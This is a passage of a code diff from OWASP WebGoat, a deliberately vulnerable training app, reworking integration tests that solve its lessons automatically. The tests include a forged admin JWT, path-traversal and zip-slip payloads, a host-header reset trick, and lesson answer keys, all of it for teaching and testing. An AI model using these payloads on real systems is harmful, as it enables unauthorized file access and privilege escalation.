+		String token = Jwts.builder()
+				.setHeader(header)
+				.setIssuer("WebGoat Token Builder")
+				.setAudience("webgoat.org")
+				.setIssuedAt(Calendar.getInstance().getTime())
+				.setExpiration(Date.from(Instant.now().plusSeconds(60)))
+				.setSubject("tom@webgoat.org")
+				.claim("username", "Tom")
+				.claim("Email", "tom@webgoat.org")
+				.claim("Role", new String[] {"Manager", "Project Administrator"})
+				.signWith(SignatureAlgorithm.HS256, "deletingTom").compact();
+		
+		MatcherAssert.assertThat(RestAssured.given()
+				.when().relaxedHTTPSValidation()
+				.cookie("JSESSIONID", getWebGoatCookie())
+				.post(url("/WebGoat/JWT/final/delete?token="+token))
+				.then()
+				.statusCode(200)
+				.extract().path("lessonCompleted"), CoreMatchers.is(true));
+	}
+
+	private void quiz() { 
+		Map<String, Object> params = new HashMap<>();
+		params.put("question_0_solution", "Solution 1");
+		params.put("question_1_solution", "Solution 2");
+
+		checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
+	}
    
-    checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
-  }
 }
--- a/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/LabelAndHintIntegrationTest.java
@ -1,230 +0,0 @@
-package org.owasp.webgoat;
-
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import io.restassured.path.json.JsonPath;
-import java.io.FileInputStream;
-import java.io.InputStream;
-import java.util.List;
-import java.util.Properties;
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
-public class LabelAndHintIntegrationTest extends IntegrationTest {
-
-  static final String ESCAPE_JSON_PATH_CHAR = "\'";
-
-  @Test
-  public void testSingleLabel() {
-    Assertions.assertTrue(true);
-    JsonPath jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "en")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-
-    Assertions.assertEquals(
-        "Try again: but this time enter a value before hitting go.",
-        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
-
-    // check if lang parameter overrules Accept-Language parameter
-    jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "en")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc?lang=nl"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    Assertions.assertEquals(
-        "Gebruikersnaam",
-        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
-
-    jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "en")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc?lang=de"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    Assertions.assertEquals(
-        "Benutzername",
-        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
-
-    // check if invalid language returns english
-    jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "nl")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc?lang=xx"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    Assertions.assertEquals(
-        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
-
-    // check if invalid language returns english
-    jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .header("Accept-Language", "xx_YY")
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/labels.mvc"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    Assertions.assertEquals(
-        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
-  }
-
-  @Test
-  public void testHints() {
-    JsonPath jsonPathLabels = getLabels("en");
-    List<String> allLessons =
-        List.of(
-            "HttpBasics",
-            "HttpProxies",
-            "CIA",
-            "InsecureLogin",
-            "Cryptography",
-            "PathTraversal",
-            "XXE",
-            "JWT",
-            "IDOR",
-            "SSRF",
-            "WebWolfIntroduction",
-            "CrossSiteScripting",
-            "CSRF",
-            "HijackSession",
-            "SqlInjection",
-            "SqlInjectionMitigations",
-            "SqlInjectionAdvanced",
-            "Challenge1");
-    for (String lesson : allLessons) {
-      startLesson(lesson);
-      List<String> hintKeys = getHints();
-      for (String key : hintKeys) {
-        String keyValue =
-            jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
-        // System.out.println("key: " + key + " ,value: " + keyValue);
-        Assertions.assertNotNull(keyValue);
-        Assertions.assertNotEquals(key, keyValue);
-      }
-    }
-    // Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
-    // ""+jsonPath.getList("hint").get(0));
-  }
-
-  @Test
-  public void testLabels() {
-
-    JsonPath jsonPathLabels = getLabels("en");
-    Properties propsDefault = getProperties("");
-    for (String key : propsDefault.stringPropertyNames()) {
-      String keyValue =
-          jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
-      Assertions.assertNotNull(keyValue);
-    }
-    checkLang(propsDefault, "nl");
-    checkLang(propsDefault, "de");
-    checkLang(propsDefault, "fr");
-    checkLang(propsDefault, "ru");
-  }
-
-  private Properties getProperties(String lang) {
-    Properties prop = null;
-    if (lang == null || lang.equals("")) {
-      lang = "";
-    } else {
-      lang = "_" + lang;
-    }
-    try (InputStream input =
-        new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
-
-      prop = new Properties();
-      // load a properties file
-      prop.load(input);
-    } catch (Exception e) {
-      e.printStackTrace();
-    }
-    return prop;
-  }
-
-  private void checkLang(Properties propsDefault, String lang) {
-    JsonPath jsonPath = getLabels(lang);
-    Properties propsLang = getProperties(lang);
-
-    for (String key : propsLang.stringPropertyNames()) {
-      if (!propsDefault.containsKey(key)) {
-        System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
-        Assertions.fail();
-      }
-      if (!jsonPath
-          .getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
-          .equals(propsLang.get(key))) {
-        System.out.println(
-            "key: " + key + " in (" + lang + ") has incorrect translation in label service");
-        System.out.println(
-            "actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
-        System.out.println("expected: " + propsLang.getProperty(key));
-        System.out.println();
-        Assertions.fail();
-      }
-    }
-  }
-
-  private JsonPath getLabels(String lang) {
-    return RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .contentType(ContentType.JSON)
-        .header("Accept-Language", lang)
-        .cookie("JSESSIONID", getWebGoatCookie())
-        // .log().headers()
-        .get(url("service/labels.mvc"))
-        .then()
-        // .log().all()
-        .statusCode(200)
-        .extract()
-        .jsonPath();
-  }
-
-  private List<String> getHints() {
-    JsonPath jsonPath =
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .contentType(ContentType.JSON)
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("service/hint.mvc"))
-            .then()
-            // .log().all()
-            .statusCode(200)
-            .extract()
-            .jsonPath();
-    return jsonPath.getList("hint");
-  }
-}
--- a/src/it/java/org/owasp/webgoat/LabelAndHintTest.java
+++ b/src/it/java/org/owasp/webgoat/LabelAndHintTest.java
@ -0,0 +1,88 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import io.restassured.path.json.JsonPath;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.Properties;
+
+public class LabelAndHintTest extends IntegrationTest {
+
+    @Test
+    public void testSingleLabel() {
+        Assertions.assertTrue(true);
+        JsonPath jsonPath = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .contentType(ContentType.JSON)
+                .header("Accept-Language","en")
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
+
+        Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString("\'http-basics.close\'"));
+    }
+
+    @Test
+    public void testLabels() {
+
+        Properties propsDefault = getProperties("");
+        System.out.println("Working Directory = " + System.getProperty("user.dir"));
+        checkLang(propsDefault,"nl");
+        checkLang(propsDefault,"de");
+        checkLang(propsDefault,"fr");
+        checkLang(propsDefault,"ru");
+
+    }
+
+    private Properties getProperties(String lang) {
+        Properties prop = null;
+        if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
+        try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
+
+            prop = new Properties();
+            // load a properties file
+            prop.load(input);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return prop;
+    }
+
+    private void checkLang(Properties propsDefault, String lang) {
+        JsonPath jsonPath = getLabels(lang);
+        Properties propsLang = getProperties(lang);
+
+        for (String key: propsLang.stringPropertyNames()) {
+            if (!propsDefault.containsKey(key)) {
+                System.out.println("key: " + key + " in (" +lang+") is missing from default properties");
+                Assertions.fail();
+            }
+            if (!jsonPath.getString("\'"+key+"\'").equals(propsLang.get(key))) {
+                System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
+                System.out.println("actual:"+jsonPath.getString("\'"+key+"\'"));
+                System.out.println("expected: "+propsLang.getProperty(key));
+                System.out.println();
+                //Assertions.fail();
+            }
+        }
+    }
+
+    private JsonPath getLabels(String lang) {
+        return RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .contentType(ContentType.JSON)
+                .header("Accept-Language",lang)
+                .cookie("JSESSIONID", getWebGoatCookie())
+                //.log().headers()
+                .get(url("service/labels.mvc"))
+                .then()
+                //.log().all()
+                .statusCode(200).extract().jsonPath();
+    }
+
+}
--- a/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java
@ -1,10 +1,8 @@
 package org.owasp.webgoat;

-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
 import io.restassured.RestAssured;
-import java.util.Arrays;
-import java.util.Map;
+import lombok.SneakyThrows;
+
 import org.apache.commons.lang3.StringUtils;
 import org.assertj.core.api.Assertions;
 import org.junit.jupiter.api.AfterEach;
@ -12,136 +10,109 @@ import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;

+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+import java.util.Arrays;
+import java.util.Map;
+
 public class PasswordResetLessonIntegrationTest extends IntegrationTest {

-  @BeforeEach
-  public void init() {
-    startLesson("/PasswordReset");
-  }
+	@BeforeEach
+    @SneakyThrows
+    public void init() {
+    	startLesson("/PasswordReset");
+    }
 	
-  @TestFactory
-  Iterable<DynamicTest> passwordResetLesson() {
-    return Arrays.asList(
-        dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
-        dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
-        dynamicTest("assignment 2 - simple reset", () -> assignment2()),
-        dynamicTest("assignment 4 - guess questions", () -> assignment4()),
-        dynamicTest("assignment 5 - simple questions", () -> assignment5()));
-  }
+	@TestFactory
+    Iterable<DynamicTest> passwordResetLesson() {
+    	return Arrays.asList(
+    			dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
+    			dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
+    			dynamicTest("assignment 2 - simple reset",()-> assignment2()),
+    			dynamicTest("assignment 4 - guess questions",()-> assignment4()),
+    			dynamicTest("assignment 5 - simple questions",()-> assignment5())
+    			);
+    }
+	public void assignment2() {
+		checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
+		checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
+	}
 	
-  public void assignment2() {
-    checkAssignment(
-        url("PasswordReset/simple-mail/reset"),
-        Map.of("emailReset", this.getUser() + "@webgoat.org"),
-        false);
-    checkAssignment(
-        url("PasswordReset/simple-mail"),
-        Map.of(
-            "email",
-            this.getUser() + "@webgoat.org",
-            "password",
-            StringUtils.reverse(this.getUser())),
-        true);
-  }
+	public void assignment4() {
+        checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
+    }
 	
-  public void assignment4() {
-    checkAssignment(
-        url("PasswordReset/questions"),
-        Map.of("username", "tom", "securityQuestion", "purple"),
-        true);
-  }
+	public void assignment5() {
+        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
+        checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
+    }

-  public void assignment5() {
-    checkAssignment(
-        url("PasswordReset/SecurityQuestions"),
-        Map.of("question", "What is your favorite animal?"),
-        false);
-    checkAssignment(
-        url("PasswordReset/SecurityQuestions"),
-        Map.of("question", "What is your favorite color?"),
-        true);
-  }
 	
-  public void solveAssignment() {
-    // WebGoat
-    clickForgotEmailLink("tom@webgoat-cloud.org");
+    public void solveAssignment() {
+        //WebGoat
+        clickForgotEmailLink("tom@webgoat-cloud.org");

-    // WebWolf
-    var link = getPasswordResetLinkFromLandingPage();
+        //WebWolf
+        var link = getPasswordResetLinkFromLandingPage();

-    // WebGoat
-    changePassword(link);
-    checkAssignment(
-        url("PasswordReset/reset/login"),
-        Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
-        true);
-  }
+        //WebGoat
+        changePassword(link);
+        checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
+    }

-  public void sendEmailShouldBeAvailableInWebWolf() {
-    clickForgotEmailLink(this.getUser() + "@webgoat.org");
+    public void sendEmailShouldBeAvailableInWebWolf() {
+    	clickForgotEmailLink(this.getUser() + "@webgoat.org");

-    var responseBody =
+        var responseBody = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/WebWolf/mail"))
+                .then()
+                .extract().response().getBody().asString();
+
+        Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
+    }
+    
+    @AfterEach
+    public void shutdown() {
+    	//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
+    	checkResults("/PasswordReset");
+    }
+
+    private void changePassword(String link) {
        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("/WebWolf/mail"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .formParams("resetLink", link, "password", "123456")
+                .post(url("PasswordReset/reset/change-password"))
+                .then()
+                .statusCode(200);
+    }

-    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
-  }
+    private String getPasswordResetLinkFromLandingPage() {
+        var responseBody = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("WEBWOLFSESSION", getWebWolfCookie())
+                .get(webWolfUrl("/WebWolf/requests"))
+                .then()
+                .extract().response().getBody().asString();
+        int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
+        var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
+        return link;
+    }

-  @AfterEach
-  public void shutdown() {
-    // this will run only once after the list of dynamic tests has run, this is to test if the
-    // lesson is marked complete
-    checkResults("/PasswordReset");
-  }
-
-  private void changePassword(String link) {
-    RestAssured.given()
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .formParams("resetLink", link, "password", "123456")
-        .post(url("PasswordReset/reset/change-password"))
-        .then()
-        .statusCode(200);
-  }
-
-  private String getPasswordResetLinkFromLandingPage() {
-    var responseBody =
+    private void clickForgotEmailLink(String user) {
        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-            .get(webWolfUrl("/WebWolf/requests"))
-            .then()
-            .extract()
-            .response()
-            .getBody()
-            .asString();
-    int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
-    var link =
-        responseBody.substring(
-            startIndex + "/PasswordReset/reset/reset-password/".length(),
-            responseBody.indexOf(",", startIndex) - 1);
-    return link;
-  }
-
-  private void clickForgotEmailLink(String user) {
-    RestAssured.given()
-        .when()
-        .header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .formParams("email", user)
-        .post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
-        .then()
-        .statusCode(200);
-  }
+                .when()
+                .header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .formParams("email", user)
+                .post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
+                .then()
+                .statusCode(200);
+    }
 }
--- a/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java
@ -1,18 +1,6 @@
 package org.owasp.webgoat;

-import static org.junit.jupiter.api.DynamicTest.dynamicTest;
-
 import io.restassured.RestAssured;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.charset.StandardCharsets;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.util.Arrays;
-import java.util.Map;
-import java.util.zip.ZipEntry;
-import java.util.zip.ZipOutputStream;
 import lombok.SneakyThrows;
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
@ -23,128 +11,127 @@ import org.junit.jupiter.api.TestFactory;
 import org.junit.jupiter.api.io.TempDir;
 import org.springframework.security.core.token.Sha512DigestUtils;

+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.Arrays;
+import java.util.Map;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipOutputStream;
+
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
 class PathTraversalIT extends IntegrationTest {

-  @TempDir Path tempDir;
+    @TempDir
+    Path tempDir;

-  private File fileToUpload = null;
+    private File fileToUpload = null;

-  @BeforeEach
-  @SneakyThrows
-  public void init() {
-    fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
-    Files.write(fileToUpload.toPath(), "This is a test".getBytes());
-    startLesson("PathTraversal");
-  }
-
-  @TestFactory
-  Iterable<DynamicTest> testPathTraversal() {
-    return Arrays.asList(
-        dynamicTest("assignment 1 - profile upload", () -> assignment1()),
-        dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
-        dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
-        dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
-        dynamicTest("assignment 5 - zip slip", () -> assignment5()));
-  }
-
-  private void assignment1() throws IOException {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-            .param("fullName", "../John Doe")
-            .post(url("/WebGoat/PathTraversal/profile-upload"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-
-  private void assignment2() throws IOException {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
-            .param("fullNameFix", "..././John Doe")
-            .post(url("/WebGoat/PathTraversal/profile-upload-fix"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-
-  private void assignment3() throws IOException {
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .multiPart(
-                "uploadedFileRemoveUserInput",
-                "../test.jpg",
-                Files.readAllBytes(fileToUpload.toPath()))
-            .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }
-
-  private void assignment4() throws IOException {
-    var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
-    RestAssured.given()
-        .urlEncodingEnabled(false)
-        .when()
-        .relaxedHTTPSValidation()
-        .cookie("JSESSIONID", getWebGoatCookie())
-        .get(url(uri))
-        .then()
-        .statusCode(200)
-        .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
-
-    checkAssignment(
-        url("/WebGoat/PathTraversal/random"),
-        Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
-        true);
-  }
-
-  private void assignment5() throws IOException {
-    var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
-    webGoatHome =
-        webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
-
-    var webGoatDirectory = new File(webGoatHome);
-    var zipFile = new File(tempDir.toFile(), "upload.zip");
-    try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
-      ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
-      zos.putNextEntry(e);
-      zos.write("test".getBytes(StandardCharsets.UTF_8));
+    @BeforeEach
+    @SneakyThrows
+    public void init() {
+        fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
+        Files.write(fileToUpload.toPath(), "This is a test".getBytes());
+        startLesson("PathTraversal");
    }
-    MatcherAssert.assertThat(
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
-            .post(url("/WebGoat/PathTraversal/zip-slip"))
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
-  }

-  @AfterEach
-  void shutdown() {
-    // this will run only once after the list of dynamic tests has run, this is to test if the
-    // lesson is marked complete
-    checkResults("/PathTraversal");
-  }
+    @TestFactory
+    Iterable<DynamicTest> testPathTraversal() {
+        return Arrays.asList(
+                dynamicTest("assignment 1 - profile upload", () -> assignment1()),
+                dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
+                dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
+                dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
+                dynamicTest("assignment 5 - zip slip", () -> assignment5())
+        );
+    }
+
+    private void assignment1() throws IOException {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+                        .param("fullName", "../John Doe")
+                        .post(url("/WebGoat/PathTraversal/profile-upload"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
+
+    private void assignment2() throws IOException {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+                        .param("fullNameFix", "..././John Doe")
+                        .post(url("/WebGoat/PathTraversal/profile-upload-fix"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
+
+    private void assignment3() throws IOException {
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+                        .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
+
+    private void assignment4() throws IOException {
+        var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
+        RestAssured.given().urlEncodingEnabled(false)
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url(uri))
+                .then()
+                .statusCode(200)
+                .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
+
+        checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
+                Sha512DigestUtils.shaHex(this.getUser())), true);
+    }
+
+    private void assignment5() throws IOException {
+        var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
+        webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
+
+        var webGoatDirectory = new File(webGoatHome);
+        var zipFile = new File(tempDir.toFile(), "upload.zip");
+        try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
+            ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
+            zos.putNextEntry(e);
+            zos.write("test".getBytes(StandardCharsets.UTF_8));
+        }
+        MatcherAssert.assertThat(
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
+                        .post(url("/WebGoat/PathTraversal/zip-slip"))
+                        .then()
+                        .statusCode(200)
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+    }
+
+    @AfterEach
+    void shutdown() {
+        //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
+        checkResults("/PathTraversal");
+    }
 }
--- a/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java
@ -2,6 +2,10 @@ package org.owasp.webgoat;

 import io.restassured.RestAssured;
 import io.restassured.response.Response;
+
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.Test;
+
 import java.util.List;
 import java.util.Map;
 import java.util.concurrent.Callable;
@ -10,48 +14,40 @@ import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.stream.Collectors;
 import java.util.stream.IntStream;
-import org.assertj.core.api.Assertions;
-import org.junit.jupiter.api.Test;

 public class ProgressRaceConditionIntegrationTest extends IntegrationTest {

-  @Test
-  public void runTests() throws InterruptedException {
-    int NUMBER_OF_CALLS = 40;
-    int NUMBER_OF_PARALLEL_THREADS = 5;
-    startLesson("Challenge1");
+    @Test
+    public void runTests() throws InterruptedException {
+    	int NUMBER_OF_CALLS = 40;
+    	int NUMBER_OF_PARALLEL_THREADS = 5;
+        startLesson("Challenge1");
+
+        Callable<Response> call = () -> {
+        		//System.out.println("thread "+Thread.currentThread().getName());
+                return RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(Map.of("flag", "test"))
+                        .post(url("/challenge/flag/"));

-    Callable<Response> call =
-        () -> {
-          // System.out.println("thread "+Thread.currentThread().getName());
-          return RestAssured.given()
-              .when()
-              .relaxedHTTPSValidation()
-              .cookie("JSESSIONID", getWebGoatCookie())
-              .formParams(Map.of("flag", "test"))
-              .post(url("/challenge/flag"));
        };
-    ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
-    List<? extends Callable<Response>> flagCalls =
-        IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
-    var responses = executorService.invokeAll(flagCalls);
+        ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
+        List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
+        var responses = executorService.invokeAll(flagCalls);

-    // A certain amount of parallel calls should fail as optimistic locking in DB is applied
-    long countStatusCode500 =
-        responses.stream()
-            .filter(
-                r -> {
-                  try {
-                    // System.err.println(r.get().getStatusCode());
-                    return r.get().getStatusCode() != 200;
-                  } catch (InterruptedException | ExecutionException e) {
-                    // System.err.println(e);
-                    throw new IllegalStateException(e);
-                  }
-                })
-            .count();
-    System.err.println("counted status 500: " + countStatusCode500);
-    Assertions.assertThat(countStatusCode500)
